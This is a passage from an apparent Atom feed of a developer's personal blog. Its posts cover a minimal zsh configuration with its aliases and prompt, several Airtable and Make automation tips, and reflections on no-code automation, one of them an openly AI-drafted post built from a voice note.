&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;zstyle&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;:completion:*&#39;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; list-colors&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;LS_COLORS}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then added a bit of color. I defined a few variables to better reference the
colors. Those are mapped based on the color palette I&#39;m using in my local
&lt;code&gt;kitty&lt;/code&gt;. They would probably be different on your machine, so you should also
adapt it.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;LS_COLORS&lt;/code&gt; definition sets the directories in green, executable files in
purple and symlinks in blue. This simple change already makes everything much
easier to grok. The &lt;code&gt;zstyle&lt;/code&gt; line also applies those colors to the tab
completions &#92;o/.&lt;/p&gt;
&lt;h2&gt;Aliases&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; v&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;vi&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ls&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;ls -lhN --color=auto&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; la&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;ls -lahN --color=auto&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ..=&#39;cd ..&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;        find&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; .&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -name&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;*&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;*&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; sed&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;s|^./||&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I added some very minimal aliases; those that are embedded in my muscle memory.
I have much more locally, but I went for the minimal amount of aliases to make
me feel at home. I also didn&#39;t want to have to install any third party (even if
&lt;code&gt;exa&lt;/code&gt;, &lt;code&gt;fd&lt;/code&gt; and &lt;code&gt;bat&lt;/code&gt; would sure would have been nice).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;v&lt;/code&gt; is twice as fast to type as &lt;code&gt;vi&lt;/code&gt;. Some better &lt;code&gt;ls&lt;/code&gt; and &lt;code&gt;la&lt;/code&gt; (for hidden
files). A quick way to move back one level in the tree structure, and a short
alias to find files based on a pattern. Those are simple, but very effective.&lt;/p&gt;
&lt;h2&gt;Prompt&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;PS1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;[%m] %{[38;5;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${COLOR_GREEN}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;m%}%~/%{[00m%} &quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally a left-side prompt to give more information of where I am. It starts
with the name of the current machine, so I can easily spot if I&#39;m on a remote
session or locally, then the current directory (in green, once again, as is my
rule for directories).&lt;/p&gt;
&lt;p&gt;The wrapping &lt;code&gt;%{&lt;/code&gt; and &lt;code&gt;%}&lt;/code&gt; are needed around color espace sequences, to tell
&lt;code&gt;zsh&lt;/code&gt; that what&#39;s inside doesn&#39;t take any space on the screen. If you omit them,
you&#39;ll see that what you type is offset on the right by a large amount.&lt;/p&gt;
&lt;p&gt;I actually like to replace the &lt;code&gt;%m&lt;/code&gt; with a machine-specific prefix, to more
easily see where I am.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-08-minimal-zshrc/01-ef4be3e9c4.png&quot; alt=&quot;Terminal showing the cd command being completed, with a menu of folders and the R folder highlighted&quot;&gt;&lt;/p&gt;
&lt;p&gt;Here, for example, you can see I&#39;m connected to my handheld console (I added the
SNES-like colored button), currently in the &lt;code&gt;/roms2/&lt;/code&gt; directory and I&#39;m tabbing
through completions in the &lt;code&gt;./n64/games/&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;And that&#39;s it. A very minimal .&lt;code&gt;zshrc&lt;/code&gt; for when I need to get my bearings on a
new remote server and still be able to do what I want quickly.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Make webhook status visual feedback in Airtable</title>
    <link href="https://blog.pixelastic.com/2025/01/06/make-webhook-status-visual-feedback-airtable/"/>
    <updated>2025-01-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/06/make-webhook-status-visual-feedback-airtable</id>
    <content type="html">&lt;p&gt;I&#39;ve been working on my Airtable and Make automations, and I wanted to share a
small trick I&#39;ve implemented to improve error handling and visibility.&lt;/p&gt;
&lt;p&gt;I use Airtable interfaces equipped with various buttons that, when clicked,
trigger webhooks in Make, that in turn update my Airtable record with additional
data. However, I found it quite frustrating that there was no visual feedback
indicating the status of the webhook. Was it still running? Did it succeed? Did
it fail? I had to open my Make dashboard each time, which was far from ideal.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-06-make-webhook-status-visual-feedback-airtable/01-481bf18ab0.png&quot; alt=&quot;Form with start time and end time inputs next to a red Fetch Start and End time button&quot;&gt;&lt;/p&gt;
&lt;p&gt;So I added a simple status feature. I added a new field called
&lt;code&gt;automationStatus&lt;/code&gt; to my table. It&#39;s a select with three states: &lt;code&gt;OK&lt;/code&gt; (default),
&lt;code&gt;In Progress&lt;/code&gt;, or &lt;code&gt;Error&lt;/code&gt;. By default, it&#39;s set to OK.&lt;/p&gt;
&lt;p&gt;Now, when the webhook starts, instead of fetching the relevant Airtable record,
it &lt;strong&gt;updates&lt;/strong&gt; it instead by changing its &lt;code&gt;automationStatus&lt;/code&gt; to &lt;code&gt;In Progress&lt;/code&gt;.
The Make module to update an Airtable record also returns the whole record, so I
don&#39;t need to actually fetch it. I display the status next to the button, so now
I can get visual feedback.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-06-make-webhook-status-visual-feedback-airtable/02-87fcdcc3de.png&quot; alt=&quot;The same form after clicking the button, with a yellow In progress badge below it&quot;&gt;&lt;/p&gt;
&lt;p&gt;At the end of a successful scenario, when I update the record with new data, I
also set the &lt;code&gt;automationStatus&lt;/code&gt; back to &lt;code&gt;OK&lt;/code&gt;. And if any module fails along the
way I add an Error Handler to set the &lt;code&gt;automationStatus&lt;/code&gt; to &lt;code&gt;Error&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For some very nasty scenarios, I even went further and added the
&lt;code&gt;automationScenarioUrl&lt;/code&gt; and &lt;code&gt;automationErrorDetails&lt;/code&gt;, so I could have more
visibility on what was really happening, and quickly click on the link to get to
the Make Scenario page.&lt;/p&gt;
&lt;p&gt;This approach of course has limitations (there is no history, and all
automations of a given record share the same field), but it is already way
better than what I used to have (ie. nothing) before.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Counting Elements in Airtable</title>
    <link href="https://blog.pixelastic.com/2025/01/03/counting-elements-airtable/"/>
    <updated>2025-01-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/03/counting-elements-airtable</id>
    <content type="html">&lt;p&gt;Airtable is an impressive tool that keeps surprising me with its power. But
sometimes, it seems to be missing what I assume would be very basic features.&lt;/p&gt;
&lt;p&gt;For example, it has powerful linking capabilities; let&#39;s say you have a
&lt;code&gt;companies&lt;/code&gt; table and an &lt;code&gt;employees&lt;/code&gt; table, you can have a &lt;code&gt;company&lt;/code&gt; field in
&lt;code&gt;employees&lt;/code&gt; that automatically allows selecting an existing company. The
mirroring effect is automatically enabled as well, when you look at your
&lt;code&gt;company&lt;/code&gt; table, you can see all its linked &lt;code&gt;employees&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-03-counting-elements-airtable/01-d6ac46c8f2.png&quot; alt=&quot;Airtable table of companies with a linked employees column, the fourth company having no employees&quot;&gt;&lt;/p&gt;
&lt;p&gt;You can even use a Rollup field to, for example, gather all &lt;code&gt;name&lt;/code&gt;s of the
linked employees. By default it&#39;s displayed as a comma-separated list of values,
but in reality it returns an array-like structure, and you can call a bunch of
array-related methods on it, like &lt;code&gt;ARRAYUNIQUE&lt;/code&gt;, &lt;code&gt;ARRAYJOIN&lt;/code&gt;, &lt;code&gt;ARRAYCOMPACT&lt;/code&gt; or
&lt;code&gt;ARRAYSLICE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But I couldn&#39;t find a way to get the length of the array. There is no
&lt;code&gt;ARRAYLENGTH&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;Edit: Seems like there is a &lt;strong&gt;Count&lt;/strong&gt; type that does exactly that. It was there,
in plain sight, and I never saw it. It&#39;s a much better solution than the hack
I&#39;m describing here.&lt;/p&gt;
&lt;h2&gt;The workaround&lt;/h2&gt;
&lt;p&gt;Still, I found a clever / hackish way to get that information, by using a mix of
string and regexp functions. Let me walk you through it:&lt;/p&gt;
&lt;p&gt;First, I define a &lt;code&gt;UUID&lt;/code&gt; field in the &lt;code&gt;employees&lt;/code&gt; table, a formula that only
contains &lt;code&gt;RECORD_ID()&lt;/code&gt;. That way, I have a relatively short and very unique
identifier for each employee.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-03-counting-elements-airtable/02-09fe8f3351.png&quot; alt=&quot;Airtable table of employees with a companies link column and a UUID column&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, let&#39;s see what we need to do in the &lt;code&gt;companies&lt;/code&gt; table. It is going to be a
pretty long and complex formula, so we&#39;ll go step by step. You could technically
put the very long formula in the Rollup, but to make it clearer, I&#39;ll create
several fields, and reference them.&lt;/p&gt;
&lt;p&gt;First, I create a an &lt;code&gt;employeeCountStep1&lt;/code&gt; Rollup of the &lt;code&gt;UUID&lt;/code&gt; field of the
&lt;code&gt;employees&lt;/code&gt; field, but instead of joining it with the default &lt;code&gt;&amp;quot;, &amp;quot;&lt;/code&gt; separator,
I&#39;ll use a less common character, like &lt;code&gt;▮&lt;/code&gt;. I could have used any character, but
I find this blocky square to be more visible. So, this is our Rollup formula for
now: &lt;code&gt;ARRAYJOIN(ARRAYUNIQUE(values), &amp;quot;▮&amp;quot;)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-03-counting-elements-airtable/03-ce88fd006d.png&quot; alt=&quot;Airtable rollup column joining the employee UUIDs of each company with a square separator&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now, as this returns a string, we&#39;ll be able to execute some regexp search and
replace on it. What we&#39;ll do is remove all characters, except our blocky
squares. Essentially it means replacing everything that is not &lt;code&gt;▮&lt;/code&gt;, with an
empty string, like this: &lt;code&gt;REGEX_REPLACE(employeeCountStep1, &amp;quot;[^▮]&amp;quot;, &amp;quot;&amp;quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-03-counting-elements-airtable/04-d85b1919c4.png&quot; alt=&quot;Airtable rollup column showing one square character per employee, two, three and one for the first companies&quot;&gt;&lt;/p&gt;
&lt;p&gt;The last step is to count the number of &lt;code&gt;▮&lt;/code&gt; we now have, using the &lt;code&gt;LEN&lt;/code&gt; method.
But as the &lt;code&gt;▮&lt;/code&gt; only separates values, we&#39;ll have an off-by-one error; if we have
3 employees, we&#39;ll only have two &lt;code&gt;▮&lt;/code&gt;. No problem, we just need to add 1 to the
total… But that means that it will also add 1 even if there are no employees…
Ok, so let&#39;s wrap that in one final condition to handle that edge-case:
&lt;code&gt;IF(employees = &amp;quot;&amp;quot;, 0, LEN(employeeCountStep2) + 1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-03-counting-elements-airtable/05-5568f01c3b.png&quot; alt=&quot;Airtable employee counts of 3, 4, 2 and 0 next to each company&quot;&gt;&lt;/p&gt;
&lt;p&gt;All in all, here is the final Rollup formula:
&lt;code&gt;IF(employees = &amp;quot;&amp;quot;, 0, LEN(REGEX_REPLACE(ARRAYJOIN(ARRAYUNIQUE(values), &amp;quot;▮&amp;quot;), &amp;quot;[^▮]&amp;quot;, &amp;quot;&amp;quot;)) + 1)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-03-counting-elements-airtable/06-b03a12f6bb.png&quot; alt=&quot;Airtable rollup field editor with the final IF and REGEX_REPLACE counting formula&quot;&gt;&lt;/p&gt;
&lt;p&gt;Well, that wasn&#39;t easy, but it works. It&#39;s a bit hackish, but it does the job.
It&#39;s a neat trick to have in your Airtable toolkit.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Best Practices for Airtable IDs</title>
    <link href="https://blog.pixelastic.com/2025/01/02/best-practices-airtable-ids/"/>
    <updated>2025-01-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2025/01/02/best-practices-airtable-ids</id>
    <content type="html">&lt;p&gt;When working with Airtable, I&#39;ve started to develop some good practices
regarding IDs in my tables.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-02-best-practices-airtable-ids/01-de52e8e57c.png&quot; alt=&quot;Airtable table of spells with a code column, a circle number, French and English names, and a UUID column&quot;&gt;&lt;/p&gt;
&lt;p&gt;Airtable has a concept of a &lt;strong&gt;Primary Field&lt;/strong&gt;, which is the &amp;quot;main&amp;quot; field of a
given entry, displayed as the first column in Grid view. It can be any field of
the table (even a formula aggregating several fields), and will be used in the
UI to represent the row.&lt;/p&gt;
&lt;p&gt;But Airtable also has an internal notion of a &lt;code&gt;RECORD_ID()&lt;/code&gt; (a string like
&lt;code&gt;recR5nCNhl3SHbC1z&lt;/code&gt;). It&#39;s an internal ID, and if you&#39;re only using the Airtable
UI, you&#39;ll never see them.&lt;/p&gt;
&lt;p&gt;But the moment you start using the API, it&#39;s everywhere, as it&#39;s the canonical
way to identify a record.&lt;/p&gt;
&lt;p&gt;I developed the habit of making the &lt;code&gt;RECORD_ID()&lt;/code&gt; visible in all my tables. The
first thing I do when I create a new table, is to add a field called &lt;code&gt;UUID&lt;/code&gt;, set
it as a formula, with a value of &lt;code&gt;RECORD_ID()&lt;/code&gt;. That way, I have an easier
mental mapping between what I can see in the UI and what I interact with in the
API.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-02-best-practices-airtable-ids/02-7c68a1210a.png&quot; alt=&quot;Airtable field editor for a UUID formula field containing RECORD_ID()&quot;&gt;&lt;/p&gt;
&lt;p&gt;I also tend to name my &lt;strong&gt;Primary Field&lt;/strong&gt; &lt;code&gt;code&lt;/code&gt;, and make it a concatenation of
unique (but short) identifiers of my record. That way, I can easily identify
them, sort them, etc. I never use that field anywhere but in the UI.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/img/files/2025-01-02-best-practices-airtable-ids/03-80e6b771ac.png&quot; alt=&quot;Airtable field editor for the code formula, joining circle, nameFrench and name&quot;&gt;&lt;/p&gt;
&lt;p&gt;Coming from a dev background, not understanding the difference between the
visible &lt;strong&gt;Primary Field&lt;/strong&gt; and the hidden &lt;code&gt;RECORD_ID()&lt;/code&gt; has been one of the first
things that tripped me up when I started plugging Airtable with Make. Having the
&lt;code&gt;UUID&lt;/code&gt; clearly exposed in the UI and the record makes everything way simpler.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>My first steps into automating knowledge sharing</title>
    <link href="https://blog.pixelastic.com/2024/12/31/automating-knowledge-sharing/"/>
    <updated>2024-12-31T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2024/12/31/automating-knowledge-sharing</id>
    <content type="html">&lt;p&gt;I’ve been saying, “I’ve been coding for over ten years.” for more than a decade
now (so yeah, I&#39;ve been coding for a long time). And I still love it.&lt;/p&gt;
&lt;p&gt;Coding feels like a deeply creative process to me. It’s about long-term
problem-solving and crafting elegant solutions. But it&#39;s also about diving into
the nitty-gritty and getting your hands dirty. I take pride in writing clean,
maintainable code, but also in finding a clever hack to glue everything
together.&lt;/p&gt;
&lt;p&gt;The one thing that I never found fun are the repetitive tasks. They’re fun the
first time but quickly become tedious after the tenth. I think that&#39;s for hat
reason that I’ve always been fascinated by automation. Recently, after attending
the dotAI conference, I saw the incredible potential of AI and automation tools,
which pulled me into yet another rabbit hole.&lt;/p&gt;
&lt;h2&gt;Make is the new Zapier&lt;/h2&gt;
&lt;p&gt;Of course, I&#39;ve already automated most of my code-oriented tasks, using tools
like &lt;a href=&quot;circleci.com&quot;&gt;CircleCI&lt;/a&gt; or
&lt;a href=&quot;netlify.com&quot;&gt;Netlify&lt;/a&gt;/&lt;a href=&quot;vercel.com&quot;&gt;Vercel&lt;/a&gt;/&lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare&lt;/a&gt;
functions. Those tools are great, but they fall short when the task to automate
requires some UI (like getting data from a website, automatically downloading
invoices from your emails, etc).&lt;/p&gt;
&lt;p&gt;For those tasks, I had tried tools like &lt;a href=&quot;https://ifttt.com/&quot;&gt;IFTTT&lt;/a&gt; and
&lt;a href=&quot;zapier.com&quot;&gt;Zapier&lt;/a&gt; in the past. I found IFTTT a genius idea the first time I
used it, but its functionality was quite limited. Zapier, while more advanced,
felt similar and quickly became prohibitively expensive. So, I came back once
again to my custom bash and JavaScript scripts.&lt;/p&gt;
&lt;p&gt;But then, &lt;a href=&quot;make.com&quot;&gt;Make&lt;/a&gt; happened. I gave it a try and it has completely
changed how I approach automation. Make combines the best of IFTTT and Zapier
with a much more intuitive UI, powerful debugging tools, and is way cheaper.
It’s incredibly versatile, allowing me to complete projects in an afternoon that
I’d postponed for years. Every day, I experience &amp;quot;wow&amp;quot; moments as I connect this
API and that API to automate stuff I didn&#39;t think I could automate. Make feels
like a superpower, I&#39;m feeling that exhilarating feeling of &amp;quot;I can do anything!&amp;quot;
just like the first time I started coding.&lt;/p&gt;
&lt;h2&gt;More wow effects&lt;/h2&gt;
&lt;p&gt;If Make can replace much of my need for scripting, &lt;a href=&quot;airtable.com&quot;&gt;Airtable&lt;/a&gt; has
given me a similar “wow” effect for data management. Airtable is an incredibly
powerful database with a clean UI that makes it easy to view, edit, and
manipulate data visually. I can create formulas, so one field is derived from
another, link tables together, upload files directly in tables, build visual
custom interfaces to show specific data. Everything is of course accessible
through the API... and through Make; double &amp;quot;wow&amp;quot; effect!&lt;/p&gt;
&lt;p&gt;And then you can even plug &lt;a href=&quot;https://chatgpt.com/&quot;&gt;ChatGPT&lt;/a&gt; in Make, to enrich
data you have in Airtable, and dynamically transform it. Triple &amp;quot;wow&amp;quot; effect.
And since I&#39;ve started to discover this strange new world of &amp;quot;no-code
automation&amp;quot;, I&#39;m discovering more and more of those awesome tools every day. I
keep being amazed at how powerful and accessible they’ve become.&lt;/p&gt;
&lt;h2&gt;Posting more here&lt;/h2&gt;
&lt;p&gt;I started this blog many years ago, when I started to learn web development, and
I used it as a platform to share what I learned. I think it&#39;s only fitting if
today, I use what I learn in the realm of no-code automation to post more here,
and post more about what I learn, and use what I learn to post more.&lt;/p&gt;
&lt;p&gt;I know I have ideas worth sharing. My thought process is that if I, after 20
years of experience, am still learning new things, I&#39;m sure others can learn
from them too. This blog is a modest platform, but it’s a way to connect with
you, readers, and contribute to the pool of shared knowledge. Just as my coding
skills allowed me to build and customize this site many years ago, I hope my
growing expertise in automation will help me bring more meaningful content to
it.&lt;/p&gt;
&lt;p&gt;Hope to see you soon, once I&#39;ve posted more!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Writing faster: just speak</title>
    <link href="https://blog.pixelastic.com/2024/10/31/speech-to-blogpost/"/>
    <updated>2024-10-31T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2024/10/31/speech-to-blogpost</id>
    <content type="html">&lt;p&gt;As a web and software developer, I often see coding as a creative way to solve
problems. After years in the field, I take pride in writing clean,
understandable, and maintainable code. Understanding the quality of my work
gives me satisfaction, much like an artisan. Recently, I have been diving into
automation tools that help streamline repetitive tasks, enhancing my
productivity.&lt;/p&gt;
&lt;p&gt;My journey with automation tools started with &lt;a href=&quot;https://ifttt.com/&quot;&gt;IFTTT&lt;/a&gt;, which
I found quite useful but limited in functionality. &lt;a href=&quot;https://zapier.com/&quot;&gt;Zapier&lt;/a&gt;
was a step up, but it’s pricey for what it offers. Then I stumbled upon
&lt;a href=&quot;https://www.make.com/en&quot;&gt;Make&lt;/a&gt;. This platform provides many features at a lower
cost, allowing me to work faster. Even with some quirks, the speed and ease of
development I gain from Make give me a &amp;quot;wow effect&amp;quot; that would have taken years
to achieve otherwise.&lt;/p&gt;
&lt;p&gt;Integrating tools like ChatGPT and &lt;a href=&quot;https://airtable.com/&quot;&gt;Airtable&lt;/a&gt; has changed
how I manage information. ChatGPT, as an API, allows me to manipulate data
easily. Airtable acts as my source of truth, offering a user-friendly graphic
interface and flexible views for managing data. &lt;a href=&quot;https://www.notion.so/&quot;&gt;Notion&lt;/a&gt;
complements this by providing a smooth note-taking experience, especially with
its new API. Working with these tools is not just efficient; it feels
empowering.&lt;/p&gt;
&lt;p&gt;I also find myself wanting to share what I learn. As a public-speaking trainer,
I hear many interesting topics and wish to help others communicate their ideas
effectively. I often think about the time I spend solving problems; sometimes I
learn concepts that, if I could explain simply, would benefit others. However,
creating an article or preparing a talk takes time I often don’t have.&lt;/p&gt;
&lt;p&gt;To bridge this gap, I&#39;ve embarked on a project to automate how I turn raw ideas
into polished content. Through voice notes, I can quickly express my thoughts,
and I want to transform these unstructured ideas into useful formats like
articles or conference talks. The thought is to create a system that organizes
and refines my notes, making it easier to share knowledge.&lt;/p&gt;
&lt;p&gt;This process of transforming spoken ideas into written content involves
leveraging AI tools that can help refine and structure my raw notes. I imagine a
comprehensive database where I store these ideas, making the content creation
process easier and faster. The audio notes I take can serve as the seed from
which various media, such as blog posts or presentations, can grow.&lt;/p&gt;
&lt;p&gt;In fact, this blog post is an example of what I’m trying to achieve. It all
began with a simple audio note I recorded on my phone. By analyzing and refining
that five-minute monologue, I&#39;ve created something that I hope is engaging and
useful to you. This journey of integrating automation and AI into my workflow
has only begun, and I look forward to sharing more about this exploration as it
evolves.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Disclaimer: This blog post hasn&#39;t been written by me. I recorded an audio note
of what I wanted to say, then built an automation process (using the tools I
mention) to generate the final blogpost. The ideas are mine, the way it&#39;s
written is not. It&#39;s not good enough (I feel), but is a good start.&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Using multiple variable modifiers in zsh</title>
    <link href="https://blog.pixelastic.com/2023/12/19/multiple-zsh-modifiers/"/>
    <updated>2023-12-19T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2023/12/19/multiple-zsh-modifiers</id>
    <content type="html">&lt;p&gt;&lt;code&gt;zsh&lt;/code&gt; has a lot of variable modifiers, and sometimes trying to put more than one
on the same variable either throws an error or does nothing.&lt;/p&gt;
&lt;p&gt;To fix that, I&#39;ve been assigning and re-assigning to the same variable, each
time with a new modifier added.&lt;/p&gt;
&lt;p&gt;Today, I found a syntax that allows chaining/embedding of modifiers.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-zsh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;local&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;../../up-the-tree&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ./here&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ../in-the-parent&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# To display this array from the closest to the furthest, here is what I used to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;O&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)   &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# To sort it in reverse order&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; ${&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;F&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;myArray}&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)       &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# To display it line by line&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following syntax also works:&lt;/p&gt;
